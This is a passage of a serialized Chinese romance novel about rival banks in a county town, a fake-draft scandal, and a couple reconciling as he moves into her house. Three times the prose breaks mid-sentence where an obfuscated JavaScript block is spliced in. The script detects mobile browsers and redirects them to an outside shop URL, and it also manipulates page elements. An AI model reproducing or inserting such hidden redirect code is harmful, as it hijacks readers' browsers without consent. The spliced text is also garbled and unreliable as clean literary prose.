梁宸自少年时听闻秦劭以雷霆手段叱咤河东商行的事迹，便对其心生敬仰，一度视其为人生楷模，他虽骄纵，常端着一副少爷派头，拿鼻孔看人，对父亲的畏惧也多因怕挨打，但对师父是实打实的敬畏。 知道师父与季灵儿有不同常人的牵连，甚至偏私于她后，心中那点不舒服也全归咎到季灵儿身上，气她一而再再而三分走他身边重要之人的疼爱。 母亲，师父，还有原来季府看他长大的人，全因她的出现偏移目光。 愤懑有之，可师父发了话，他便不会将与季灵儿的私怨凌驾于正经事上，况且降低汇率本就是寻常手段，对方提的合理，他无话可说。 降汇率的确能快速招揽新客，但亦有风险，一旦对手跟进，则陷入价格恶战，容易得不偿失，广兴票号宗旨求稳，是以掌柜知晓此法却不敢轻举妄动。 掌柜琢磨，东家既放了两位弟子来历练，成了于票号有益，不成亦无需他担责，权衡后顺了提议，命账房结合季灵儿所说拟定公示。 这厢降低汇率的方案尚未落地，翌日清早，汇通票号抢先贴出告示，大幅调低汇率吸纳储户。 广兴票号议事堂内空气沉凝，数道目光无声地投向梁宸。 同在一县，又是同行的少爷，他的身份并非秘密，掌柜与伙计因当家嘱咐信他，但成见在前，稍有风吹草动头一个便疑心他。 “看我做什么？”梁宸面色瞬间变得难看，“绝非我透露的风声。” 毫无力度的辩驳，显然不足以说服众人。 梁宸受不得冤枉，急得跳脚辩驳，指天誓日恨不能说尽诅咒之辞以示清白。 季灵儿听得眉头挤在一处，揉揉耳朵道：“我信他。” 梁宸愕然，没想到她会站出来替自己说话。 季灵儿淡看他一眼，道：“选此时泄密太蠢了，梁师兄还没蠢到这种程度。” “......”梁宸气得牙痒，无从反驳。 季灵儿略顿了顿，对掌柜道：“他们降他们的，咱们依旧按计划行事。” 掌柜：“按原定数目降，不敌汇通有优势，若再追降，便得不偿失了。” “就按原定数目降，”季灵儿胸有成竹道，“不过额外加一条对老主顾的回馈——先前存续不动，若有新续存，可享额外一厘返息，另外凡存满三年者，汇兑免手续费一次。” 掌柜也是经营多年的老手，当即明白她此举深意：票号中老主顾占七成，此举看似让利，实则是向主顾显示诚意，稳住他们便是稳住根基。 汇通票号降息之后，效果立竿见影，声势一时颇旺。 季灵儿每日照常在票号跟学账目，平静地等一场雨落。 没等来她想要的雨，倒是遇上了一场天上飘落的暴雨。 这日傍晚，季灵儿从票号往家回，原本晴朗的天骤然阴沉，毫无征兆下起雨来，她未带伞，双手遮在额前快步往家跑，两条腿跑不过雨势，到家时浑身被浇得透湿，连打数个喷嚏。 换了身干爽衣裳，坐在灶前等热水烧开，忽闻院门叩响，三下又三下。 心中升起预感，理了理凌乱的碎发，拍掉灶膛里飞落到身上的灰迹，撑伞去开门。 门外雨幕潺潺，秦劭站在檐下，发梢滴着水，衣襟紧贴前胸，裹出微微起伏的丘壑，模样狼狈，面上仍是一派从容。 猜想印证之际，季灵儿一颗心小小雀跃了下，旋即想起他上次托阿吉带的话，便冷了神色，阴阳怪气道：“明知我烦您，又来做什么？” 小姑娘果然记仇，无论过多久，必得把憋的气撒出来才痛快，听着这句，秦劭反倒松了口气。 “在附近办事出来，雨太大无处躲，来你这里避一避。”他声音不高，被雨声衬得有些模糊。 季灵儿眉心微蹙：“竟如此巧？” 雨水流进眼中，秦劭抬手揉去，低低“嗯”了声。 “跟着您的人呢？”她不死心地追问。 话音落，阿吉从旁边探出半个身子，咧嘴一笑朝她见礼：“见过少夫人。” 季灵儿无奈抿唇，最终心软放主仆二人进了屋，并翻出两身干净衣裳递过去，阿吉极有眼色，接过后自告奋勇去柴房换，换好往灶前照看热水。 秦劭换好衣裳，边整理袖口边从里间走出。 “你屋中竟备着男子衣物？” 挑眉看过来的视线带着探究，结合说话的语气，季灵儿觉得他像极了怀疑妻子私藏情夫衣物的丈夫。 转念一想也合理，她备男子衣物的初衷就是为了坐实她家中有男人。 可迎着秦劭的目光她始终做不到像面对张婶那般坦然扯谎，甚至生出一丝心虚，梗着脖子反问：“你想说什么？” “穿着很合身。”秦劭笑得意味深长，还故意抬了抬胳膊给她看衣服的合身程度。 衣料贴着肩线绷出一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16642155|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利落弧度，肩膀，袖子，腰身全部剪裁适中，连颜色都是他常穿的。 “碰巧罢了。” 季灵儿没说谎，为避麻烦以有夫之妇的身份自居，做戏做全套，便在成衣铺子挑了几件男子衣衫备着，随手选的，没有刻意参考谁的尺寸，没承想竟会被他穿在身上，还这般契合。 秦劭轻轻“哦”了一声，尾音微微上扬。 季灵儿只看神情知他想偏了，语气微恼：“你莫要自作多情！” 秦劭笑得眉眼舒展，朝她靠近一步：“你知道我想什么？” 季灵儿：“我管你想什么，反正想什么都白费！” 秦劭没辩驳，在旁边的椅子上坐下。 记得上次来，这把椅子腿还是瘸的，眼下坐着已稳稳当当。 想起什么，问道：“邻居家是做木工的？” “是啊，”季灵儿顺口答道，须臾，反应过不妥：“您如何知晓？” 秦劭：“这两次来他家院门都开着，无意瞥见东厢屋檐下堆放着木料与工具。” 他料想不错，的确是陈胜松帮她修的椅子。 两人心照不宣，但季灵儿懒得同他解释，秦劭也不再追问，各自揣着心事望向屋外出神。 雨势不见小，敲得瓦片噼啪作响，檐水连成线坠入石槽。 过了有一会儿，阿吉才端着两碗姜汤进来，笑道：“爷，少夫人，趁热喝些驱寒。” 阿吉身上同样穿着一件季灵儿置办的衣裳，袖子略长，他往上挽了挽，腰身也空荡，显得有些滑稽，活脱脱偷穿主子衣裳的模样。 秦劭打量一眼，低头吹姜汤掩饰笑意。 季灵儿愈发心虚，咽了咽口水道：“门廊下有把伞，喝完汤你们便离开吧。” 秦劭没搭话，抬眼看向阿吉。 阿吉心领神会，对着季灵儿恳切道：：“少夫人，外头雨势太大，天又黑着，路上实在难行，爷已经淋一场雨了，若是再冒雨出去，坏了身子小的无法同老夫人和夫人交代，就当小的求您，多容爷避一避，等雨小些再走成吗？” 季灵儿剜他一眼，揶揄道：“你家爷身子骨好着呢，何至于一场雨就淋坏了。” “爷连日操劳，身子本就亏着，接二连三淋雨吹风，铁打的人也扛不住呀。”阿吉愈发声情并茂。 打什么算盘季灵儿心里门清，张口欲辩驳，被秦劭连声咳嗽打断。 阿吉抓住机会立刻道：“您听这咳嗽声都哑了！少夫人就发发善心，让爷缓一缓吧。” 主仆俩配合默契，季灵儿一张嘴抵不过两人一唱一和，冷哼道：“雨小了便走，不许耽搁！” 说罢拂袖走向里屋。 秦劭望着她离去的背影，眼底掠过一丝笑意，端起姜汤慢慢啜饮。 阿吉功德圆满，放心退出屋外偷笑。 噼里啪啦的雨声没有减弱的迹象，反而愈发密集地砸向地面，季灵儿在榻上辗转反侧，约莫过了半个时辰，抵不住心中烦乱，蹑手蹑脚走到门边。 从门缝向外窥探，秦劭仍坐在原处，手肘支在椅子扶手上，掌心微拳托着额头，呼吸平稳悠长，似是疲乏欲睡，奈何这姿势不妥帖，头频频歪斜，几欲栽下来。 季灵儿犹豫再三，拉开门走到他身旁，提气“咳”了一声。 秦劭蓦然惊醒，朦胧地望着她，等她开口。 70. 心软 季灵儿默不作声盯着他看了一会儿，从衣衫打量到脸庞。 许是她心思全在票号上，不见面的日子里，想起他的次数屈指可数，以为足够平静，可这会儿四目相对，心海再度掀起波澜，海浪一茬一茬往岸上扑。 看旁人从不会这般，唯独望进他眼底时，会贪心逗留，舍不得移开视线。 因为她知道，这里能容下她全部的任性和执拗，不是怜悯，不是施舍，而是带着温度的接纳。 他的柔情蜜意太美好，好到不真实，像雨后彩虹，易逝而不可及。 秦劭维持侧腰支头的姿势，唇角微抿，透出几分冷硬，烛动光移，眉骨投下一小片摇晃的阴影，阴影之下，是那双深邃却暗藏温澜的瑞凤眼。 他大大方方承接她的目光，同样也在看她。 落在季灵儿眼中，是他存心拿这样的眼神勾.引她，惹她心软靠近。因为她年轻，新鲜，漂亮，他食髓知味，轻易舍不得放手。 待有一日他倦了，或者有更年轻貌美的女子出现，便会收回对她的纵容，将勾.引的目光转投他人。 世间情意多是如此，盛时极盛，衰时骤冷，她所认识的，听说过的男人，绝大部分都是三心二意，见异思迁的。 天上没有掉馅饼的好事，所以她不会傻到相信这么个样样出众的男人，会独独对自己动心。 别心软，心软就完了。季灵儿再一次警告自己。 窗外，雨声依旧淅沥敲打着屋檐，未曾有停歇的迹象。但她恍若不闻，泠声开口：“雨快停了，你们该走了。” 秦劭垂下眼睫，阴影漫过眸底，片刻后直起身来，回了声“好”。 如屋外雨水，砸得干脆利落，在水洼里砸出涟漪，一圈圈扩散。 季灵儿抿唇又看一眼雨幕，小声反问：“您不说些什么吗？” 话里的试探连自己都骗不过，说完便后悔地偷偷掐一把大腿，秦劭眸光闪烁两下，似有笑意从里面溢出，蔓延至温柔嗓音里。 “你说得没错，我身子骨很好，所以淋个雨不碍事。” “......” ... 几日后，汇通票号。 伙计看了汇票，对持票人说：“客官，您这是长期存银，未到存期呢。” “少废话，我急用银子就要现在兑！” “现在给您兑没问题，不过票号规矩，提前支取不予支付利息，您只能拿回存进的本金。” “拿回本金也行，快些！”那人不耐烦地催。 伙计核对清楚，点足银子交到对方手上，待人满意离开，另一个伙计凑过来，低声问：“这是今日第五起提前兑付了，还是告知掌柜一声吧？” 梁守正得了信儿亦觉得蹊跷，嘱咐伙计再有来兑者，务必问清缘由。 不出一个时辰，又有三名客人陆续前来兑银，伙计询问原因，一个支支吾吾说急用钱，一个不肯多说，拿了银子便匆匆离去，到最后一个时，伙计找借口让对方稍等，小跑去后堂求助梁守正。 梁守正匆匆出来，见是个熟悉面孔，寒暄几句带出兑银原因。 对方攒眉纠结，一副为难模样，最后顶不住梁守正追问，臊着脸道：“实不相瞒，外头风声传得厉害，说贵号出现假汇票，大伙都怕自家银钱被冒领，这才急着来兑银......” 梁守正脸色一阴，沉声道：“胡扯！什么假汇票，绝没有这样的事！” “是是，我信梁掌柜的为人，定是有人蓄意造谣，”来者顺着话宽慰梁守正几句，小心接道：“但架不住街坊们传得有鼻子有眼，我家里人没见识，执意催促，说先把银子兑出来稳妥些......” “老主顾了，您信我，我也不能叫您为难。”梁守正勉强挤出一丝笑，摆手让伙计把银子如数奉上。 梁宸傍晚归家才得知此事，心“咯噔”一跳，结巴重复：“什么，什么假汇票？” “有人在黑市仿了咱家汇票样式低价售卖，足足两万七八百万两白银！”梁守正提起就心痛，捶胸顿足不能自已。 梁宸脸色唰地白了，唯恐祸事是因他曾偷的那张汇票而起，两条腿软地快站不住，手按在腰间金蟾上，声音微微发颤：“汇票盖有密押，又在账上留有底档，如何能大批量造假？” “定是有内鬼泄露，我已在暗中筛查了，只是尚无头绪。” 是了，他只偷送出去一张汇票，要大批量仿造能兑出银子的，必得有账册上的记录，应当与他无关。 梁宸心中稍安，冷汗却已浸透里衣，仅仅贴在脊背上，刺挠得难受。 梁守正看儿子两肩交替抖着，彻底憋不住气，绷紧脸训斥：“站没个站相！这点风浪就吓成这样，将来怎么继承家业？” 梁宸深谙不能在父亲气头上回嘴的道理，勾头不说话。 “不成器的玩意儿！”梁守正又骂一声，顿了顿，问：“你每日同姓季的丫头在一处，可发现她有什么异动？” 梁宸猛然抬头：“什么意思？” “你脑袋里究竟装了些什么。” 梁守正气得抬腿对着他屁股就是一脚，梁宸下意识拿手去挡，使力气大了，狠推在父亲小腿上，梁守正单腿没站稳，踉跄撞上身后茶桌，杯盏哗啦翻倒，茶水顺着桌沿淌下。 梁宸惊惶想上前扶，又怕再挨打，迈出去的腿撤回来，干巴巴关心一句：“您没事吧？” 梁守正翻了个白眼：“还没被你气死。” 梁宸消化过父亲方才的话，小心翼翼问：“您怀疑假汇票是季灵儿搞得鬼？” “跟咱们过不去的除了她还有谁。” 梁宸不语，垂眸看向金蟾，他的确想不出其他人，且他偷汇票也因季灵儿赌输金蟾而起，两件事连在一起，直觉告诉他，同她脱不开关系。 翌日一见面，梁宸端着兴师问罪的架势质问：“是不是你干的？” “不是。” “我且没说什么事你就否认，是心虚吧？” “我管你什么事，你有证据便报官，没证据莫要血口喷人。”季灵儿绕开他准备往后堂换伙计服制。 梁宸跟上去，胳膊一伸按住门框，堵住她去路，居高临下冷眼睨她：“我娘在九泉之下要知道养出个想搞垮票号的祸害，会不会气得半夜托梦骂你。” 季灵儿冷笑对上他视线：“我想搞垮票号？梁大公子，你脑袋里究竟装了些什么？” 看她满脸嘲讽，说着和父亲一模一样的话，梁宸倍感屈辱，恨不能一拳砸下去解气，拳头攥得发白，咬牙切齿道：“你有屁就放，别说没用的。” “没什么好说的，还是继续当你爹的乖儿子吧。”季灵儿不想和他废话，弯腰从他胳膊下钻过去。 梁宸一把拽住手腕，季灵儿的腕骨被他指节硌得生疼。 “你说！” 若非季璇再三叮嘱她不许将真相透露给梁宸，季灵儿早向他揭露梁守义的真面目了。 那些话涌到嘴边无数次，一次次被她咽下，她不能违背师父嘱托。 咬牙忍了又忍，恨恨道：“我不想说，放开。” “你不说我就不放。” 季灵儿铆足劲跺在他脚背上，梁宸吃痛缩脚，手劲一松，她趁机挣脱，疾步冲进后堂。 ... 一波未平一波又起，假汇票风波发酵更盛，前段时间因汇通票号降低汇费吸引来的商户也在假银票风波中惶恐起来，往外地汇银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645738|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交款和取款之间有时间差，他们担心汇通突如其来降低汇费是有预谋的，要“吃空期”填补现银缺失。 两拨人加在一起，汇通票号宽阔的门面被挤得水泄不通，攒动的人头从柜台直堆到门槛外，吵嚷声几乎掀翻屋顶。 几个穿着绸缎的商人奋力挤到前面，为首的胖子掏出一张汇单按在柜台上，道：“这银子我们不汇了，才刚交的款，回头就听说你们票号不稳，退钱！” “对！退钱！”他身后的人群七嘴八舌附和。 “说什么让利客商，原来是拿我们的银子填你们自己的窟窿！” 伙计认得这胖子，是前日刚办了三千两汇兑往京城的粮商，赔笑解释：“汇出去的银子已经入了账，走完了票据，这，这没有退回的先例啊……” “没有先例？”胖子冷笑一声，肥厚的手掌在柜台上重重拍几下，仅气势就占了上风，“那就开这个先例，你们若是不退，便是心里有鬼！” 人群跟着起哄，叫嚣声浪一波高过一波，不知谁喊了一句：“报官，去衙门击鼓！” 汇通票号门前的盛况很快传到广兴，梁宸这下确信了，就是季灵儿搞的鬼！但他已顾不得同她理论，丢下手头事务奔回去。 季灵儿长长松了口气，终于等到了。 广兴票号上下原还为降低汇费的点子被汇通偷去而不忿，风向反转，人人脸上挂着笑，直道报应来得快，说话都带着几分扬眉吐气的意味。 曹县两大票号，汇通出事，广兴便成了商户们的首选，生意一茬接一茬，掌柜喜得合不拢嘴，背人处龇牙拍季灵儿马屁。 “全靠少夫人慧心筹谋，才有今日之况，少夫人当真是远见卓识，巾帼不让须眉......” “是他们咎由自取，与我无关，与咱们票号也没关系。”季灵儿提醒他，“票号里的内奸带回去的消息让梁家吃这么大亏，定然落不住好，怕是要有别的动作，您仔细留意。” 掌柜：“少夫人放心，我已安排妥当。” 季灵儿：“虽然汇通倒霉跟咱没关系，但票号生意兴隆，都是掌柜操持得当之功，日后还要多向您请教。” 掌柜人精似的，知道季灵儿有意卖他好，嘴上谦卑地连道不敢，心里乐得开花。 ... 生意兴旺，票号上下自然忙碌起来，季灵儿正在柜台帮着清点银两，忽闻头顶传来一声不确信的低唤：“少夫人？” 她抬眼，辨出来人，“袁掌柜别来无恙。” 袁掌柜一听这话知道没认错人，笑容更甚：“秦家之事我已听说，所以先前我在清心庵外见到的就是少夫人您吧？” 柜台还有旁人，季灵儿又是男装，他一口一个少夫人颇为怪异，引来不少目光，只好将人请到后堂说话。 季灵儿初见袁掌柜是在清心庵外，替嫁到秦家后几次相见未敢承认，如今恢复身份，自可坦然相对。 “先前不得已隐瞒，袁掌柜见谅。” “少夫人言重，”袁掌柜拱手一揖，笑得温和，“袁某前日与秦大当家议事，听大当家提起您在此处主事，今日来果然见了。” 季灵儿愣了下，“他同您提我？” “袁某受大当家启蒙去江南谈茶叶生意，回来后直接到吉安递帖子拜访，才知大当家人就在曹县，因好奇问及，大当家便说——” 他说到此处顿了下，似因后面的话脸上涌出笑意，清了清嗓子继续道：“大当家说如今您在曹县的票号主事，他夫随妇便，多数时候也宿在曹县。” 季灵儿先是被“夫随妇便”之言臊的脸上脸颊窘红，听到后面圆睁的杏眸写满惊诧：“他还在曹县？” 袁掌柜点头：“是啊，您不知道？” 71. 借住 六月盛夏，正是收瓜时节，季灵儿从票号回去路上，见有老农推车卖青皮香瓜，瓜皮翠绿，瓤肉澄黄，一吸鼻子便有清甜钻入鼻腔，便买了几个，分一半给隔壁张婶，其余拿井水泡着。 霞光将尽时暑气渐消，张婶邀她到自家院中纳凉，葡萄藤藤架下搁着两把摇椅，两人各躺一个，就着晚风闲话。 摇椅所用虽是寻常木材，但工艺精巧，椅面弧度贴合脊背，前后晃动不闻丝毫杂声。 偶尔无话，季灵儿便哼着小调轻摇蒲扇，静听蝉鸣。 张婶侧头看她，眯着眼笑道：“你喜欢，回头让我让胜松再打一把搬你院里去。” 季灵儿：“那我可却之不恭了，先谢过婶子和陈大哥，不过先说好木料工费我来出。” 张婶：“邻里邻居的打把椅子而已，哪能收你的钱？” 季灵儿：“陈大哥这做工放市集上，少说能卖二两，我出个基础费用是沾婶子光讨了大便宜，心里美着呢。” 两人说说笑笑，陈家父子打外头散步回来，季灵儿不好久留，起身欲告辞。 张婶也站起身，道：“一起吃块瓜再回罢。” 说罢指挥自家丈夫去切香瓜。 陈二柱是个憨厚汉子，应声便去，切了瓜只让儿子端出来，自己留两块在厨房啃着。 陈胜松放下瓜盘也欲回屋避开，张婶却借着说打椅子的由头将他留下，又对季灵儿说：“你若有喜欢的款式或花样，可交代他，让他照着雕在椅子上。” 季灵儿倒没什么特别要求，但明白张婶是在给二人制造说话机会，想了想，道：“那便雕个竹节纹罢，多谢陈大哥了。” 陈胜松瞧着她笑也跟着笑，“我以为女子都会喜欢花鸟一类的。” 季灵儿略一垂眸，端出一副娇羞模样，道：“实不相瞒，是我家那口子喜欢竹子。” 从陈家出来，正见阿吉守在两家大门之间，手里提着一个食盒和一把伞。 伞是上次下雨借于秦劭的，至于食盒，不用问也知又是他借口送来撩拨她心弦的东西。 巷子里说话不便，季灵儿带他回了院子。 阿吉好生将伞靠在门后，奉上食盒：“这是爷给少夫人的谢礼。” 季灵儿：“你家爷一直在曹县，为何现在才来还伞送谢礼？” 阿吉对她此言丝毫不意外，说：“爷不想让您知道他在，怕您以为他故意纠缠，心生厌烦。” 季灵儿哼了一声，“他同袁掌柜可不是如此说的。” “同外人自然说场面话。” “他在曹县做什么？” 阿吉没再流利应答，勾着头不说话。 季灵儿也不追问，掀开食盒看了看，一层摆着几样精致点心，一层是各色蜜饯干果。 “东西我留着了，不送。” “少夫人。”阿吉退两步抬眼偷瞧，端量着她的神色开口，“少夫人，爷不让说，小的本不应该多嘴，可爷为了您——” 季灵儿听了半句眼皮倏然一跳，当即打断他，“不让说便不必说了。” ... 翌日清晨，露犹未晞，院门又被叩响。 季灵儿扬声问：“谁？” 一瞬寂静后，低沉的声音透过门缝渗进来，“是我。” 季灵儿认出来，偏不应答，兀自打水梳洗，直到一切收拾停当准备出门，才慢条斯理取下门闩开门。 门外秦劭站的笔直，颀长身影在门打开的瞬间笼了她全身。 季灵儿微微抬头与他对望，语气揶揄：“您倒是有耐心。” 她收拾并未花费太久，这话意有所指。 秦劭眸光闪烁，低声道：“抱歉。” “您这话从何说起？”季灵儿明知故问。 秦劭认真道：“想借阿吉之口惹你心软，是我不该。” 恳切的态度是一把钝刀，不疾不徐在她紧绷的心弦上反复拉扯，不伤根本，却教她难以忽视。 他便是捏准她的心思，才支使阿吉来做戏，季灵儿想想便觉气恼，冷笑道：“您做什么都与我无关，凭什么觉得我会心软？” 秦劭只是望着她，只字不言，滚着情意的眼波已道明所有。 他知道她还在乎他，放不下他，所以一定会心软动容。 她心虚错开的视线亦证明他所料不差。 季灵儿恼羞成怒推他：“不说话就让开，我要出门。” 秦劭岿然不动，反握住她的手按在心口：“我糊涂，不该试探你的心思又惹你生气，如今被你识破，没脸说狡辩的话。” 衣料是冷的，他的指尖也是，凉意令季灵儿怔愣一瞬，印象中，他的手无论何时都是温热的，像一团不灭的火，这么冷，难不成是在外头待了一夜？ 何至于呢？ 她费解打量他，才发现他眼底有片不算明显的乌青。 “这又是哪一出，苦肉计？” 秦劭没否认，眸光黯淡地垂下，攥着她的手缓缓收紧：“我担心你。” “我知道你不愿意我插手多管与梁家的事，但我没办法不担心，留在曹县，万一对方狗急跳墙，也来得及给你兜底，我绝不能让危及你性命的情形重现。”红血丝一点一点爬上眼睛，最后连声音都哽咽：“灵儿，我太害怕护不住你，所以不择手段地要守在你身边。” 他说的那样动情，真挚，季灵儿即便垂眸避开他充血的眼，也能清晰感受到掌心下，心跳伴随剖白强劲而有力地撞击，如何能不受触动。 说到底，她是在意他的，他使计也好，真心也罢，她终究无法做到心如止水，如同此刻无法狠心将手抽离。 季灵儿抿唇忖了会儿，问：“不议亲了么，不回去陪新夫人，守着我做什么？” 秦劭：“没有议亲，是晋通兄瞎说的，我已秉明祖母，不会另娶旁人。” 季灵儿狐疑:“老夫人能同意？” “祖母自是生气的，”秦劭叹息，接道：“所以我如今是有家回不得。” 季灵儿嗤笑：“又打量蒙我，且不说你家其他宅子，孤山脚下的别院不是能住么，何必说这么可怜。” “住别的地方禁不住家中来人催扰，住别院......”秦劭沉默须臾开口，目光随着话音落在她唇上，喉结滚动，“会控制不住。” 他每每想对她做什么，便是这副模样，季灵儿福至心灵，顷刻明白他在控制什么，臊的抬起另一只手捂他的眼。 “不许看，也不许瞎想。” 他高她一头，另一只手又被攥着，捂眼的动作无形中拉进了两人距离，她的鼻尖几乎抵在他下颌，想逃开时已被对方顺势圈入怀中，起伏的峰峦贴在他身前。 她手心是热的，覆在冰凉的眼上，冷热交织，秦劭不禁打了个寒颤，揽她的动作有一半出自身体本能，是他积压已久的欲念作祟。 “我忍不住，所以没办法答应你。”他一本正经回道。 未免他多瞧，勘破她的心虚，季灵儿索性一直捂着他的眼，故作冷静问：“你住何处？” “客栈。” “我可以把东面那间屋子给你住，你按给客栈的钱付我，但其余的话不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653573|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准再提。” “好。” ... 季灵儿一整日都被早上的情形扰着，心不在焉，好在没什么紧要事情，否则非出差错不可。 踩着暮色归家，遥遥看见有炊烟从自家低矮的烟囱升起，不由自主加快脚步。 秦劭腰上系着粗布围裳站在灶前，衣袖卷至手肘，露出一节结实小臂，正往锅中倒水，“滋啦”一声激起雾气和烟气升腾，模糊了他半边脸。 手执汤勺在锅中轻搅两圈，盖回圆木锅盖，才抬眼看过来：“先歇着，饭好了叫你。” 雾气淡薄，他的眉眼再度清晰，季灵儿倚在门边未动，着实有些讶异，“您还会下厨？” 她印象中的他，是学堂里执着戒尺严厉责罚学生的先生，是在繁华府邸中喝盏茶都不必自己动手的贵公子，也是商行里运筹帷幄，定夺风云的大当家。无论哪一重身份，都无法与眼前这个系裙操炊，在烟火气里从容自若的身影重叠。 秦劭用布巾擦净手，回道：“少年时跟着商队天南地北走过几年，除了烤些粗粮饼子果腹，也会架起锅灶煮饭，起初跟着打下手，渐渐就学会了。” 季灵儿想到多年前自己随商队入关的情形，的确如此，随口问：“那时多大？” “什么？”秦劭一时没反应过来。 “跟商队的时候。” “第一次是十三岁，后来几年每年至少会跟一趟。” 商队里不乏有十几岁的少年，季灵儿将他的模样代入回忆，感觉很奇妙，仿佛一下将两人相识的时间拉进，或许他也曾走过她来时那条路，踏过同样的雪原，穿过同一片风沙。 河东府商行垄断关东货往内售卖的渠道，他一定去过关外，走过她幼年颠沛流离的路。 这一想法像双温暖的手捂在她心口上，热意蔓延至眼眶，季灵儿假装想打喷嚏，低头揉了揉酸涩的鼻尖。 担心秦劭注意到她的异常，拿余光偷瞧，他已侧回身子，拿出篮子里洗好的青菜放在砧板上，手起刀落，留下一阵紧密轻快的脆响。 “行商并非一味苦，入乡随俗见识了许多吃法，到南方用芭蕉叶裹饭，烤鱼烤鸡，到北方则以皮囊盛羹，铁锅炖菜配粗面饼，北疆的牧民还拿石头烙饼......”秦劭一边切菜，一边回忆往事般闲聊起来，自始至终没有看她。 季灵儿挪不动步子，歪头倚着门框看他忙碌，听他说话，跟听故事似的，不自觉听进去了，又开始出神。 秦劭不知何时停了动作，目光沉静看过来，“眼下条件虽受限，不过我可以试一试。” 季灵儿猝然回神，不知他说到哪句“试什么？” 秦劭：“试着做各地的菜肴给你尝。” 灶间静了一瞬，滚着香气的烟雾在两人中间游移，交错的视线因朦胧平添几分暧昧，心不安分地扑通，铆足劲欲往外跳。 良久，季灵儿转身背靠在门框上，将视线挪到外面，“您愿意屈尊降贵，我还不敢消受呢。” “何谈屈尊降贵，”秦劭自嘲一笑，“褪去那些身外之物，我也是个普通人，为心爱之人煮饭不应当么。” 他声音放得很轻，温柔里裹着诱哄。 可“心爱之人”四个字又太重，直直砸下来，季灵儿反应不及，身体和灵魂都僵在原地。 万幸她侧身对着他，脸朝着门外，他应当瞧不见自己红着脸失神的模样。 “做饭算你以工抵借宿费，我会酌情减免的，别往旁处乱扯，我，我去换身衣裳，做好叫我。”季灵儿磕磕巴巴回一句，转身逃开灶间。 72. 名分 白日季灵儿去票号，阿吉抱着账本来时，正见秦劭挥着斧头劈柴，急得将账本往旁边桌上一摔，连声嚷道：“我的爷哟，这怎么使得！” 夺斧子的动作被秦劭避开，摆手示意他退远些，“我胳膊腿齐全又有力气，没什么使不得的。” 话音落，又一斧子劈下，斧刃稳稳嵌入木柴中央，一提一落一撬，木柴应声裂成两半。 阿吉极有眼力地蹲身将劈好的柴码到墙角柴垛上。 “那边有带话吗？” “姚爷说一切有他您只管安心，他等不及再喝一次喜酒了。”阿吉老实道。 “借他吉言了，”秦劭淡笑了笑，吩咐道：“你去集市上，米面粮油各买几份回来。” 阿吉凭着多年伺候的经验揣测：“爷是要给邻里送礼？” “嗯。” “只送这些会不会略显寒碜？” 秦劭难得心情好，停下动作同他解释：“都是寻常百姓，送份心意实用最好，送得贵重反而容易引出旁的惦记。” 阿吉点头称是，转身要走，又听秦劭道：“别图省事去秦家铺子取，银钱从我留给你的那部分里支。” 他不想这边的动静过多被家中知晓，阿吉了然，不消半个时辰便采买齐全回来，因买的多，店家特意派伙计帮忙送回来。 趁午膳时分家中不空，秦劭带着阿吉挨家挨户送去，道几句以后有劳照顾的客套话。 一趟下来，邻里皆知道新搬来不久的年轻女子丈夫回来了，人前人后夸赞两人女俏郎俊，乃羡煞旁人的般配。 张婶自然也收到了，秦劭还多送了三匹素锦分别给一家人裁制新衣，以答谢他家对季灵儿的照顾。 阿吉在后头听他张口闭口“内子”，抿紧憋笑，内心直呼爷这招连环计使得漂亮，先是教他回来欲盖弥彰说那套说辞，又自己送上门演“拙劣”的苦肉计，顺理成章住进少夫人院子，如今更是把名分做实了，少夫人即便回来生气，也不好再将人赶出去。 高啊，实在是高。 “偷笑什么呢？”秦劭早注意到他的异常，一出门便问。 阿吉知道他心情好，胆子跟着大起来：“小的跟着爷很受教，因而心生欢喜。” 秦劭挑眉掠他一眼，“这些时日劳累你两头跑了，再回去自个儿去账上支一百两，算是犒劳。” 秦劭虽不吝啬对下面人的赏赐，但打赏都会严格按照规矩来，什么样的身份体面便得什么样的赏，免得旁人因不公生出怨怼，阿吉这样的贴身长随，从前得过最多的赏银也不过二十两，闻言喜出望外，足愣了几息才回神，双手作揖谢恩。 秦劭瞧他没出息的样子，板起脸叮嘱：“支银子时只说我用的，莫要得意张扬。” 阿吉连连点头，眉梢半点放不下来。 一墙之隔的陈家。 张婶对着秦劭送来的东西叹了又叹，止不住说可惜。 陈二柱知道她可惜什么，只觉得妻子从一开始就打错算盘，他接触不多都看得出隔壁姑娘在避嫌，根本无意于自家儿子，偏妻子不信邪，一厢情愿撮合。 马后炮的话他不敢当妻子面说，劝道：“你再不来吃饭，好好的粮食要可惜了。” 